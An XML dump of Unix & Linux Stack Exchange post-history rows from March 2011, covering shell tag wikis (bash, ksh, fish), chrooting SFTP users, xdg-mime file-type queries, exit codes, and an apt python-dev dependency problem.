  <row Id="23536" PostHistoryTypeId="5" PostId="1950" RevisionGUID="9966c44d-4301-4e3d-aa57-05e09f7b7ad5" CreationDate="2011-03-21T23:55:22.260" UserId="885" Comment="added 1383 characters in body" Text="[Bash (the Bourne again shell)](http://en.wikipedia.org/wiki/Bash_%28Unix_shell%29) is a unix shell. It was intended as a free replacement to the Bourne shell and includes many scripting features from [ksh](http://unix.stackexchange.com/tags/ksh/info). Bash is intended to conform to the POSIX 1003.2 standard.&#xD;&#xA;&#xD;&#xA;Bash also includes more advanced interactive features such as command line editing with the [tag:readline] library, command history, job control, dynamic prompts and completion.&#xD;&#xA;&#xD;&#xA;### Links and documentation&#xD;&#xA;&#xD;&#xA;* [Bash GNU project web page](http://www.gnu.org/software/bash/)&#xD;&#xA;* [Bash maintainer's web page](http://tiswww.case.edu/php/chet/bash/bashtop.html)&#xD;&#xA;&#xD;&#xA;### Related tags&#xD;&#xA;&#xD;&#xA;* [tag:shell] Many shell-agnostic questions are of interest to bash users.&#xD;&#xA;* [tag:wildcards] (or globbing): matching files based on their name&#xD;&#xA;* [tag:command-history] a history of commands that can be navigated with the `Up` and `Down` keys, searched, etc.; also a recall mechanism based on expanding sequences beginning with `!`.&#xD;&#xA;* [tag:autocomplete] completion of partially-entered file names, command names, options and other arguments.&#xD;&#xA;* [tag:prompt] showing a prompt before each command, which many users like to configure.&#xD;&#xA;&#xD;&#xA;### Further reading&#xD;&#xA;&#xD;&#xA;* http://unix.stackexchange.com/questions/983/what-features-are-in-zsh-and-missing-from-bash-or-vice-versa&#xD;&#xA;* http://unix.stackexchange.com/questions/4262/strange-change-directory&#xD;&#xA;* http://unix.stackexchange.com/questions/3747/understanding-the-exclamation-mark-in-bash&#xD;&#xA;* http://unix.stackexchange.com/questions/1288/better-bash-history&#xD;&#xA;* http://unix.stackexchange.com/questions/2603/bash-autocomplete-in-ssh-session&#xD;&#xA;* http://unix.stackexchange.com/questions/5609/how-do-i-clear-bashs-cache-of-paths-to-executables&#xD;&#xA;* http://unix.stackexchange.com/questions/5366/command-line-completion-from-history&#xD;&#xA;" />
  <row Id="23537" PostHistoryTypeId="5" PostId="1951" RevisionGUID="05be6111-e6dc-486e-95ee-bbc5d5485320" CreationDate="2011-03-21T23:55:22.340" UserId="885" Comment="deleted 46 characters in body" Text="Bash is the shell from the GNU project. Is it the standard shell on Linux and often available on other unices." />
  <row Id="23538" PostHistoryTypeId="2" PostId="9848" RevisionGUID="58be8f5c-ae50-46eb-904e-926cdbb68e88" CreationDate="2011-03-22T00:05:31.640" UserId="885" Text="The [Korn shell (ksh)](http://en.wikipedia.org/wiki/Korn_shell) is a shell originally written at AT&amp;T, with more advanced programming features than the then-existing Bourne and C shells, and a syntax compatible with the Bourne shell. Many programming features in [tag:bash] and [tag:zsh] mimic ksh's. Several versions of ksh exist, including:&#xD;&#xA;&#xD;&#xA;* Ksh88, the original, which was always proprietary software.&#xD;&#xA;* Pdksh (public domain ksh), a free clone of ksh88 (with a few incompatibilities).&#xD;&#xA;* Mksh (MirOS BSD Korn shell), a descendant of pdksh&#xD;&#xA;* Ksh93, a major new version of ksh88, initially proprietary then released as free software&#xD;&#xA;" />
  <row Id="23539" PostHistoryTypeId="2" PostId="9849" RevisionGUID="e3ad3873-7481-4230-8316-538f4fd67c64" CreationDate="2011-03-22T00:05:31.640" UserId="885" Text="The Korn shell (ksh) is a shell with advanced scripting features, commonly found on commercial unices and some BSD systems but rarely used on Linux." />
  <row Id="23540" PostHistoryTypeId="2" PostId="9850" RevisionGUID="fda08873-3646-4e7d-9f8d-b992ddd4ef5e" CreationDate="2011-03-22T00:08:23.337" UserId="5946" Text="Unfortunately I'm fresh here so cannot comment the particular answers. Several people have implied that GRUB would not be able to boot from LVM&#xD;&#xA;&#xD;&#xA;GRUB2 is booting happily from LVM2 without any problem on my home PC for about 1.5 years now. Sweetest thing since sliced bread. &#xD;&#xA;&#xD;&#xA;Oh, and that is supported by default by the ubiquity (alternative) installer. Try it" />
  <row Id="23541" PostHistoryTypeId="2" PostId="9851" RevisionGUID="a6150caf-538d-4a34-8974-c94c8e988000" CreationDate="2011-03-22T00:10:40.603" UserId="885" Text="[Fish (friendly interactive shell)](http://en.wikipedia.org/wiki/Friendly_interactive_shell) is a relatively new unix [tag:shell]. It provides advanced interactive features such as command and argument completion, and syntax coloring. Fish has a simpler syntax than Bourne-style shells.&#xD;&#xA;&#xD;&#xA;### Links and documentation&#xD;&#xA;&#xD;&#xA;* [Fish home page](http://fishshell.com/)&#xD;&#xA;" />
  <row Id="23542" PostHistoryTypeId="2" PostId="9852" RevisionGUID="2e2b704f-5a3c-4eb3-9405-d603e55447b7" CreationDate="2011-03-22T00:10:40.603" UserId="885" Text="Fish is a unix shell with a clean design and a limited but powerful feature set." />
  <row Id="23543" PostHistoryTypeId="2" PostId="9853" RevisionGUID="4a4954b3-9266-4579-8d01-76fd07d81e74" CreationDate="2011-03-22T00:25:19.260" UserId="4518" Text="Is there a simple way to restrict an SCP/SFTP user to a directory? All methods that I've come across require me to set a chroot jail up by copying binaries, but I don't think that should be necessary." />
  <row Id="23544" PostHistoryTypeId="1" PostId="9853" RevisionGUID="4a4954b3-9266-4579-8d01-76fd07d81e74" CreationDate="2011-03-22T00:25:19.260" UserId="4518" Text="Restricting an SCP/SFTP user to a directory" />
  <row Id="23545" PostHistoryTypeId="3" PostId="9853" RevisionGUID="4a4954b3-9266-4579-8d01-76fd07d81e74" CreationDate="2011-03-22T00:25:19.260" UserId="4518" Text="échrootàésftpàéscpàéopensshà" />
  <row Id="23546" PostHistoryTypeId="2" PostId="9854" RevisionGUID="b075e43e-f350-4b31-9a8a-07eab09a41dd" CreationDate="2011-03-22T00:43:08.193" UserId="885" Text="A chroot is a reasonably simple method. Since the operating system already has this security feature, daemon writers tend not to attempt to reimplement it.&#xD;&#xA;&#xD;&#xA;[Rssh](http://www.pizzashack.org/rssh/) comes with a guide on setting up a chroot jail. It's in the [`CHROOT`](http://www.sdri.co.jp/rssh/CHROOT_en.html) file in the source distribution. In a nutshell, you need to have:&#xD;&#xA;&#xD;&#xA;* A few binaries, copied from the root: `/usr/bin/scp`, `/usr/libexec/openssh/sftp-server`, `/usr/bin/rssh_chroot_helper`&#xD;&#xA;* The libraries (`{/usr,}/lib/lib*.so.[0-9]`) that they use, likewise copied&#xD;&#xA;* A `/etc/passwd` (quite possibly not a copy but derived from the master)&#xD;&#xA;* A few devices: `/dev/null`, `/dev/tty`, and also a `/dev/log` socket for logging (and you need to tell your syslog daemon to listen on that socket)&#xD;&#xA;&#xD;&#xA;Extra tip that isn't in the rssh documentation: If you need some files to be accessible in a chroot jail, you can use [bindfs](http://code.google.com/p/bindfs) or Linux's `mount --bind` to make additional directory hierarchies from outside the jail. Both `bindfs` and `mount --bind` allow more the remounted directory to have more restrictive permissions, for example read-only.&#xD;&#xA;" />
  <row Id="23547" PostHistoryTypeId="2" PostId="9855" RevisionGUID="48bca2ac-ebd9-4514-ab57-1e90a87107ff" CreationDate="2011-03-22T02:04:00.110" UserId="298" Text="SSH Supports chrooting an SCP/SFTP user natively.  You just need to supply &#xD;&#xA;&#xD;&#xA;ChrootDirectory&#xD;&#xA;&#xD;&#xA;In your sshd config file, and restart sshd.&#xD;&#xA;&#xD;&#xA;If you are just doing sftp, then you don't have to do anything more.  Not sure if scp will work as well.  For interactive shell, you will need to copy binaries, and /dev nodes into the chroot.&#xD;&#xA;&#xD;&#xA;An example config, for just a single user, testuser:&#xD;&#xA;&#xD;&#xA;    Match User testuser&#xD;&#xA;        ChrootDirectory /home/testuser&#xD;&#xA;&#xD;&#xA;A few things to be aware of, from the sshd_config man page:&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;    All components of the pathname must be root-owned directories that are not&#xD;&#xA;    writable by any other user or group.  After the chroot, sshd(8) changes the&#xD;&#xA;    working directory to the user's home directory.&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;Search for ChrootDirectory in man sshd_config for more information.&#xD;&#xA;" />
  <row Id="23548" PostHistoryTypeId="5" PostId="9855" RevisionGUID="520760d5-2d11-42ab-b6e0-ff475e609393" CreationDate="2011-03-22T02:10:08.950" UserId="298" Comment="oops, left out an important piece.; deleted 4 characters in body" Text="SSH Supports chrooting an SFTP user natively.  You just need to supply &#xD;&#xA;&#xD;&#xA;ChrootDirectory&#xD;&#xA;&#xD;&#xA;In your sshd config file, and restart sshd.&#xD;&#xA;&#xD;&#xA;If you are just doing sftp, then you don't have to do anything more.  Not sure if scp will work as well.  For interactive shell, you will need to copy binaries, and /dev nodes into the chroot.&#xD;&#xA;&#xD;&#xA;An example config, for just a single user, testuser:&#xD;&#xA;&#xD;&#xA;    Match User testuser&#xD;&#xA;        ChrootDirectory /home/testuser&#xD;&#xA;        ForceCommand internal-sftp&#xD;&#xA;&#xD;&#xA;A few things to be aware of, from the sshd_config man page:&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;    All components of the pathname must be root-owned directories that are not&#xD;&#xA;    writable by any other user or group.  After the chroot, sshd(8) changes the&#xD;&#xA;    working directory to the user's home directory.&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;Search for ChrootDirectory in man sshd_config for more information.&#xD;&#xA;" />
  <row Id="23549" PostHistoryTypeId="2" PostId="9856" RevisionGUID="9b1f1579-85db-4a12-b329-c0f097af9987" CreationDate="2011-03-22T02:13:35.630" UserId="5495" Text="I installed a new file type to share MIME database. But xdg-mime query file type can not tell the new type.&#xD;&#xA;&#xD;&#xA;Here are my steps:&#xD;&#xA;&#xD;&#xA;1. wrote a xml file for my new file type &quot;my_file.xml&quot;&#xD;&#xA;2. xdg-mime install my_file.xml&#xD;&#xA;3. xdg-mime query filetype &lt;name of file to query&gt;  .... no output :-(&#xD;&#xA;&#xD;&#xA;I checked /usr/share/mime/applications and found the xml entry generated by update-mime-database there. And glibc API g_file_info_get_content_type() can get the proper mime type.&#xD;&#xA;&#xD;&#xA;So it seems the shared-mime-info has been updated successfully. But only xdg-mime query fails, why? Could anybody give me some hints?&#xD;&#xA;&#xD;&#xA;Here is my xml file:&#xD;&#xA;&#xD;&#xA;&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;&#xD;&#xA;&#xD;&#xA;&lt;mime-info xmlns='http://www.freedesktop.org/standards/shared-mime-info'&gt;&#xD;&#xA;&#xD;&#xA;	&lt;mime-type type=&quot;application/vnd.xxx.xxx.xxx&quot;&gt;&#xD;&#xA;&#xD;&#xA;		&lt;comment&gt;xxxx&lt;/comment&gt;&#xD;&#xA;&#xD;&#xA;		&lt;glob pattern=&quot;*.dcf&quot;/&gt;&#xD;&#xA;&#xD;&#xA;	&lt;/mime-type&gt;&#xD;&#xA;&#xD;&#xA;&lt;/mime-info&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="23550" PostHistoryTypeId="1" PostId="9856" RevisionGUID="9b1f1579-85db-4a12-b329-c0f097af9987" CreationDate="2011-03-22T02:13:35.630" UserId="5495" Text="Why &quot;xdg-mime query filetype ...&quot; fail to find a new added file type?" />
  <row Id="23551" PostHistoryTypeId="3" PostId="9856" RevisionGUID="9b1f1579-85db-4a12-b329-c0f097af9987" CreationDate="2011-03-22T02:13:35.630" UserId="5495" Text="élinuxàémimeötypesà" />
  <row Id="23552" PostHistoryTypeId="25" PostId="9853" RevisionGUID="7b4cce92-4f39-4c7a-8d98-2eec09971031" CreationDate="2011-03-22T02:31:29.370" Comment="http://twitter.com/#!/StackUnix/status/50021750657921024" />
  <row Id="23553" PostHistoryTypeId="2" PostId="9857" RevisionGUID="be6bc886-3c2f-4635-9328-374885e13952" CreationDate="2011-03-22T02:53:20.160" UserId="5495" Text="I failed to&quot;xdg-mime query filetype &lt;file name&gt; to checkt the MIME type of a files.&#xD;&#xA;So how to print the error code (exit code) of xdg-mime command?&#xD;&#xA; &#xD;&#xA;I want to know what error happened:&#xD;&#xA;&#xD;&#xA;1 Error in command line syntax. &#xD;&#xA;&#xD;&#xA;2 One of the files passed on the command line did not exist. &#xD;&#xA;&#xD;&#xA;3 A required tool could not be found. &#xD;&#xA;&#xD;&#xA;4 The action failed. &#xD;&#xA;&#xD;&#xA;Great thanks!&#xD;&#xA;Amanda&#xD;&#xA;&#xD;&#xA;5 No permission to read one of the files passed on the command line. &#xD;&#xA;" />
  <row Id="23554" PostHistoryTypeId="1" PostId="9857" RevisionGUID="be6bc886-3c2f-4635-9328-374885e13952" CreationDate="2011-03-22T02:53:20.160" UserId="5495" Text="How can I get the error code (exit code) of &quot;xdg-mime query filetype&quot; command?" />
  <row Id="23555" PostHistoryTypeId="3" PostId="9857" RevisionGUID="be6bc886-3c2f-4635-9328-374885e13952" CreationDate="2011-03-22T02:53:20.160" UserId="5495" Text="élinuxàémimeötypesà" />
  <row Id="23556" PostHistoryTypeId="2" PostId="9858" RevisionGUID="015541f4-2b0a-409a-b9a9-22c33bbd1118" CreationDate="2011-03-22T03:43:39.823" UserId="138" Text="In Bourne-derived shells (`sh`, `ash`, `bash`, `dash`, `zsh`...) the exit code of the last-run program is in the `$?` variable:&#xD;&#xA;&#xD;&#xA;    $ ls /no-such-file&#xD;&#xA;    ls: /no-such-file: No such file or directory&#xD;&#xA;    $ echo $?&#xD;&#xA;    2&#xD;&#xA;&#xD;&#xA;So in this case, the exit code of `ls` is 2." />
  <row Id="23557" PostHistoryTypeId="2" PostId="9859" RevisionGUID="1d13580e-e1de-4fd7-9912-e4c3dcbbd00b" CreationDate="2011-03-22T04:47:04.807" UserId="236" Text="I am trying to compile vim and install with &quot;--enable-pythoninterp&quot; flag, which needs the python-dev package.&#xD;&#xA;&#xD;&#xA;But, `sudo apt-get python-dev` results in broken packages error message -&gt;&#xD;&#xA;&#xD;&#xA;The following packages have unmet dependencies:  &#xD;&#xA; python-dev : Depends: python (= 2.6.6-2ubuntu1) but 2.6.6-2ubuntu2 is to be   installed  &#xD;&#xA;E: Broken packages&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;How can I best resolve this issue?" />
  <row Id="23558" PostHistoryTypeId="1" PostId="9859" RevisionGUID="1d13580e-e1de-4fd7-9912-e4c3dcbbd00b" CreationDate="2011-03-22T04:47:04.807" UserId="236" Text="Unmet dependencies." />
  <row Id="23559" PostHistoryTypeId="3" PostId="9859" RevisionGUID="1d13580e-e1de-4fd7-9912-e4c3dcbbd00b" CreationDate="2011-03-22T04:47:04.807" UserId="236" Text="évimàéaptàépythonà" />
  <row Id="23560" PostHistoryTypeId="2" PostId="9860" RevisionGUID="ec0ef84c-53b1-4a72-b4fc-d385d92c68f5" CreationDate="2011-03-22T05:18:45.780" UserId="4671" Text="This is the usual message apt produces when you have have packages which are at different apt priority. See man apt_preferences. python 2.6.6-2ubuntu1 is not of sufficiently high priority to be installed, so apt is trying to install 2.6.6-2ubuntu2, which does not satisfy the dependency. More information is needed to resolve this. Please provide the output of&#xD;&#xA;&#xD;&#xA;    $ apt-cache vim policy python python-dev&#xD;&#xA;&#xD;&#xA;Also give details of how you obtained the vim source. Is this an upstream source? Did you download the source using apt-get source or similar? If I understood this correctly, you are trying to install a customized version of the vim package. Is that correct?" />
  <row Id="23561" PostHistoryTypeId="5" PostId="9860" RevisionGUID="2d73f464-eb8d-4645-9380-fe85dae82e83" CreationDate="2011-03-22T05:24:33.637" UserId="4671" Comment="added 69 characters in body; added 1 characters in body" Text="This is the usual message apt produces when you have have packages which are at different apt priority. See man apt_preferences. python 2.6.6-2ubuntu1 is not of sufficiently high priority to be installed, so apt is trying to install 2.6.6-2ubuntu2, which does not satisfy the dependency. More information is needed to resolve this. Please provide the output of&#xD;&#xA;&#xD;&#xA;    $ apt-cache vim policy python python-dev&#xD;&#xA;&#xD;&#xA;Also post your /etc/apt/preferences and /etc/apt/sources.list files.&#xD;&#xA;Also give details of how you obtained the vim source. Is this an upstream source? Did you download the source using apt-get source or similar? If I understood this correctly, you are trying to install a customized version of the vim package. Is that correct?" />
  <row Id="23562" PostHistoryTypeId="5" PostId="9859" RevisionGUID="74ccdbbd-7692-4ae5-a6b2-488eb8c7f64b" CreationDate="2011-03-22T05:26:13.773" UserId="236" Comment="added 637 characters in body; deleted 67 characters in body" Text="I am trying to compile vim and install with &quot;--enable-pythoninterp&quot; flag, which needs the python-dev package.&#xD;&#xA;&#xD;&#xA;But, `sudo apt-get python-dev` results in broken packages error message -&gt;&#xD;&#xA;&#xD;&#xA;The following packages have unmet dependencies:  &#xD;&#xA; python-dev : Depends: python (= 2.6.6-2ubuntu1) but 2.6.6-2ubuntu2 is to be   installed  &#xD;&#xA;E: Broken packages&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;How can I best resolve this issue?&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;    $ apt-cache vim policy python python-dev  &#xD;&#xA;    E: Invalid operation vim  &#xD;&#xA;    $ apt-cache policy python python-dev  &#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;&#xD;&#xA;python:&#xD;&#xA;  Installed: 2.6.6-2ubuntu2&#xD;&#xA;  Candidate: 2.6.6-2ubuntu2&#xD;&#xA;  Version table:&#xD;&#xA; *** 2.6.6-2ubuntu2 0&#xD;&#xA;        100 /var/lib/dpkg/status&#xD;&#xA;     2.6.6-2ubuntu1 0&#xD;&#xA;        500 http://archive.ubuntu.com/ubuntu/ maverick/main i386 Packages&#xD;&#xA;python-dev:&#xD;&#xA;  Installed: (none)&#xD;&#xA;  Candidate: 2.6.6-2ubuntu1&#xD;&#xA;  Version table:&#xD;&#xA;     2.6.6-2ubuntu1 0&#xD;&#xA;        500 http://archive.ubuntu.com/ubuntu/ maverick/main i386 Packages&#xD;&#xA;&lt;/pre&gt;" />
  <row Id="23563" PostHistoryTypeId="25" PostId="9832" RevisionGUID="2e49ef33-6da9-47e6-9f44-cf92affa0f8e" CreationDate="2011-03-22T05:31:29.683" Comment="http://twitter.com/#!/StackUnix/status/50067050542010368" />
  <row Id="23564" PostHistoryTypeId="5" PostId="9859" RevisionGUID="813ed1d1-c0ee-46ef-b1f8-6becdf71a3cf" CreationDate="2011-03-22T05:32:26.637" UserId="236" Comment="added 155 characters in body" Text="I am trying to compile vim and install with &quot;--enable-pythoninterp&quot; flag, which needs the python-dev package.&#xD;&#xA;&#xD;&#xA;INFO  &#xD;&#xA;I obtained the vim source from ftp://ftp.vim.org/pub/vim/unix/vim-7.3.tar.bz2  &#xD;&#xA;Vim7.3 is not available yet using apt.  &#xD;&#xA;Using Ubuntu 10.10&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;But, `sudo apt-get python-dev` results in broken packages error message -&gt;&#xD;&#xA;&#xD;&#xA;The following packages have unmet dependencies:  &#xD;&#xA; python-dev : Depends: python (= 2.6.6-2ubuntu1) but 2.6.6-2ubuntu2 is to be   installed  &#xD;&#xA;E: Broken packages&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;How can I best resolve this issue?&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;    $ apt-cache vim policy python python-dev  &#xD;&#xA;    E: Invalid operation vim  &#xD;&#xA;    $ apt-cache policy python python-dev  &#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;&#xD;&#xA;python:&#xD;&#xA;  Installed: 2.6.6-2ubuntu2&#xD;&#xA;  Candidate: 2.6.6-2ubuntu2&#xD;&#xA;  Version table:&#xD;&#xA; *** 2.6.6-2ubuntu2 0&#xD;&#xA;        100 /var/lib/dpkg/status&#xD;&#xA;     2.6.6-2ubuntu1 0&#xD;&#xA;        500 http://archive.ubuntu.com/ubuntu/ maverick/main i386 Packages&#xD;&#xA;python-dev:&#xD;&#xA;  Installed: (none)&#xD;&#xA;  Candidate: 2.6.6-2ubuntu1&#xD;&#xA;  Version table:&#xD;&#xA;     2.6.6-2ubuntu1 0&#xD;&#xA;        500 http://archive.ubuntu.com/ubuntu/ maverick/main i386 Packages&#xD;&#xA;&lt;/pre&gt;" />
  <row Id="23565" PostHistoryTypeId="5" PostId="9860" RevisionGUID="cbeebd88-15a8-42c7-90de-c70b7feaab3d" CreationDate="2011-03-22T05:43:51.053" UserId="4671" Comment="Typo correction" Text="This is the usual message apt produces when you have have packages which are at different apt priority. See man apt_preferences. python 2.6.6-2ubuntu1 is not of sufficiently high priority to be installed, so apt is trying to install 2.6.6-2ubuntu2, which does not satisfy the dependency. More information is needed to resolve this. Please provide the output of&#xD;&#xA;&#xD;&#xA;    $ apt-cache policy vim python python-dev&#xD;&#xA;&#xD;&#xA;Also post your /etc/apt/preferences and /etc/apt/sources.list files.&#xD;&#xA;Also give details of how you obtained the vim source. Is this an upstream source? Did you download the source using apt-get source or similar? If I understood this correctly, you are trying to install a customized version of the vim package. Is that correct?" />
  <row Id="23566" PostHistoryTypeId="5" PostId="9860" RevisionGUID="5a7c22f3-c439-496f-8b5a-a7df214926b1" CreationDate="2011-03-22T05:49:37.443" UserId="4671" Comment="added 362 characters in body" Text="This is the usual message apt produces when you have have packages which are at different apt priority. See man apt_preferences. python 2.6.6-2ubuntu1 is not of sufficiently high priority to be installed, so apt is trying to install 2.6.6-2ubuntu2, which does not satisfy the dependency. More information is needed to resolve this. Please provide the output of&#xD;&#xA;&#xD;&#xA;    $ apt-cache policy vim python python-dev&#xD;&#xA;&#xD;&#xA;Also post your /etc/apt/preferences and /etc/apt/sources.list files.&#xD;&#xA;Also give details of how you obtained the vim source. Is this an upstream source? Did you download the source using apt-get source or similar? If I understood this correctly, you are trying to install a customized version of the vim package. Is that correct?&#xD;&#xA;&#xD;&#xA;Based on your `apt-cache policy` output, you just need to downgrade python from `2.6.6-2ubuntu2` to `2.6.6-2ubuntu1`. As you can see, it does not currently correspond to any version in the archives. Do you know where you got it from? So do&#xD;&#xA;&#xD;&#xA;    $ apt-get install python=2.6.6-2ubuntu1&#xD;&#xA;&#xD;&#xA;and then try your&#xD;&#xA;&#xD;&#xA;    $ sudo apt-get install python-dev&#xD;&#xA;&#xD;&#xA;again." />
  <row Id="23567" PostHistoryTypeId="2" PostId="9861" RevisionGUID="5181aa3b-8119-4d48-b909-353ee4547f4e" CreationDate="2011-03-22T05:50:22.113" UserId="5685" Text="It looks like your update got the packages in between uploads of packages: http://packages.ubuntu.com/maverick-updates/python-dev both versions should be 2.6.6-2ubuntu2. I'd try:&#xD;&#xA;&#xD;&#xA;    aptitude update&#xD;&#xA;and then retry &#xD;&#xA;&#xD;&#xA;    aptitude update&#xD;&#xA;    apt-cache install python python-dev&#xD;&#xA;&#xD;&#xA;If this does not work, I'd try switching to another ubuntu mirror to get the packages from there." />
  <row Id="23568" PostHistoryTypeId="2" PostId="9862" RevisionGUID="41573d0a-6f3f-4e49-b857-ba47873380a5" CreationDate="2011-03-22T05:53:10.663" UserId="5685" Text="&gt; &quot;application/octet-stream&quot; (unknown file type)&#xD;&#xA;&#xD;&#xA;is not an error message, it simply means that file does not know what your file contains. This could happen for encrypted files for example, they look so random that file is unable to print something more precise than &quot;this is data&quot;." />
  <row Id="23569" PostHistoryTypeId="5" PostId="9856" RevisionGUID="b16dcbd5-63b4-469b-a56e-5285de81e988" CreationDate="2011-03-22T05:56:55.437" UserId="5495" Comment="added 195 characters in body; added 11 characters in body" Text="I installed a new file type to share MIME database. But xdg-mime query file type can not tell the new type. This problem only happens on my own linux OS which does not use GNOME or KDE as its desktop. On Ubuntu, the same process works well.&#xD;&#xA;&#xD;&#xA;I found &quot;xdg-mime query&quot; uses &quot;file -i filename&quot; underlying on my OS but uses gnomevfs on Ubuntu. &#xD;&#xA;&#xD;&#xA;Here are my steps:&#xD;&#xA;&#xD;&#xA;1. wrote a xml file for my new file type &quot;my_file.xml&quot;&#xD;&#xA;2. xdg-mime install my_file.xml&#xD;&#xA;3. xdg-mime query filetype &lt;name of file to query&gt;  .... no output :-(&#xD;&#xA;&#xD;&#xA;I checked /usr/share/mime/applications and found the xml entry generated by update-mime-database there. And glibc API g_file_info_get_content_type() can get the proper mime type.&#xD;&#xA;&#xD;&#xA;So it seems the shared-mime-info has been updated successfully. But the &quot;file&quot; command still fails, why?&#xD;&#xA;&#xD;&#xA;Here is my xml file:&#xD;&#xA;&#xD;&#xA;&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;&#xD;&#xA;&#xD;&#xA;&lt;mime-info xmlns='http://www.freedesktop.org/standards/shared-mime-info'&gt;&#xD;&#xA;&#xD;&#xA;	&lt;mime-type type=&quot;application/vnd.xxx.xxx.xxx&quot;&gt;&#xD;&#xA;&#xD;&#xA;		&lt;comment&gt;xxxx&lt;/comment&gt;&#xD;&#xA;&#xD;&#xA;		&lt;glob pattern=&quot;*.dcf&quot;/&gt;&#xD;&#xA;&#xD;&#xA;	&lt;/mime-type&gt;&#xD;&#xA;&#xD;&#xA;&lt;/mime-info&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="23570" PostHistoryTypeId="5" PostId="9859" RevisionGUID="18e2e968-b5b0-4f71-89c5-ac6fe6872ea8" CreationDate="2011-03-22T06:01:06.587" UserId="236" Comment="added 104 characters in body" Text="I am trying to compile vim and install with &quot;--enable-pythoninterp&quot; flag, which needs the python-dev package.&#xD;&#xA;&#xD;&#xA;INFO  &#xD;&#xA;I obtained the vim source from ftp://ftp.vim.org/pub/vim/unix/vim-7.3.tar.bz2  &#xD;&#xA;Vim7.3 is not available yet using apt.  &#xD;&#xA;Using Ubuntu 10.10&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;But, `sudo apt-get python-dev` results in broken packages error message -&gt;&#xD;&#xA;&#xD;&#xA;The following packages have unmet dependencies:  &#xD;&#xA; python-dev : Depends: python (= 2.6.6-2ubuntu1) but 2.6.6-2ubuntu2 is to be   installed  &#xD;&#xA;E: Broken packages&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;How can I best resolve this issue?&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;    $ apt-cache policy vim python python-dev  &#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;python:&#xD;&#xA;  Installed: 2.6.6-2ubuntu2&#xD;&#xA;  Candidate: 2.6.6-2ubuntu2&#xD;&#xA;  Version table:&#xD;&#xA; *** 2.6.6-2ubuntu2 0&#xD;&#xA;        100 /var/lib/dpkg/status&#xD;&#xA;     2.6.6-2ubuntu1 0&#xD;&#xA;        500 http://archive.ubuntu.com/ubuntu/ maverick/main i386 Packages&#xD;&#xA;vim:&#xD;&#xA;  Installed: (none)&#xD;&#xA;  Candidate: 2:7.2.330-1ubuntu4&#xD;&#xA;  Version table:&#xD;&#xA;     2:7.2.330-1ubuntu4 0&#xD;&#xA;        500 http://archive.ubuntu.com/ubuntu/ maverick/main i386 Packages&#xD;&#xA;python-dev:&#xD;&#xA;  Installed: (none)&#xD;&#xA;  Candidate: 2.6.6-2ubuntu1&#xD;&#xA;  Version table:&#xD;&#xA;     2.6.6-2ubuntu1 0&#xD;&#xA;        500 http://archive.ubuntu.com/ubuntu/ maverick/main i386 Packages&#xD;&#xA;&#xD;&#xA;&lt;/pre&gt;" />
  <row Id="23571" PostHistoryTypeId="2" PostId="9863" RevisionGUID="e256ddc4-80b3-4c2d-a721-649c04b90d30" CreationDate="2011-03-22T06:01:18.143" UserId="5685" Text="For the makefile.in / makefile.am relation, have a look at the wikipedia on the GNU build system: http://en.wikipedia.org/wiki/GNU_build_system. There's a graph explaining the role of each file.&#xD;&#xA;There's no automated way that I know of, but I can recommend you too ways to be able to compile the library:&#xD;&#xA;&#xD;&#xA; - Install cygwin: http://www.cygwin.com that comes with the full GNU system and many useful utilities&#xD;&#xA; - Migrate the project to use cmake (http://www.cmake.org). CMake can generate Microsoft VS files as well as Unix Makefiles. This project: http://cvs.savannah.gnu.org/viewvc/tsp/?root=tsp uses cmake a builds on Windows and various Unix flavors, for example. " />
  <row Id="23572" PostHistoryTypeId="2" PostId="9864" RevisionGUID="702f0c27-c05d-4693-9383-3b1871f32674" CreationDate="2011-03-22T06:07:01.540" UserId="4415" Text="Regarding the second part of the question, it may be useful to place in separate partitions anything that is independent of the current distribution. By also leaving extra space available on the drive, this allows, if necessary in the future, to either install a different distribution, or perform a reinstall of the current one, sharing access to anything that you'd want to see on both. &#xD;&#xA;&#xD;&#xA;Obviuos candidates for separate partitions are then /usr/local and /home, as well as /root. I personally find it more efficient to create custom partitions, mount them in an arbitrary mountpoint, like /part/data, and then proceed with symlinks, as in:&#xD;&#xA;&#xD;&#xA;    sudo ln -sf /part/data/joe /home/joe&#xD;&#xA;    sudo ln -sf /part/data/root /root&#xD;&#xA;    sudo ln -sf /part/data/usr-local /usr/local" />
  <row Id="23573" PostHistoryTypeId="5" PostId="9861" RevisionGUID="4d3bfd14-7898-4f08-87fa-dfaffd19af17" CreationDate="2011-03-22T07:17:57.137" UserId="5685" Comment="deleted 2 characters in body" Text="It looks like your update got the packages in between uploads of packages: http://packages.ubuntu.com/maverick-updates/python-dev both versions should be 2.6.6-2ubuntu2. I'd try:&#xD;&#xA;&#xD;&#xA;    aptitude update&#xD;&#xA;and then retry &#xD;&#xA;&#xD;&#xA;    aptitude update&#xD;&#xA;    apt-get install python python-dev&#xD;&#xA;&#xD;&#xA;If this does not work, I'd try switching to another ubuntu mirror to get the packages from there." />
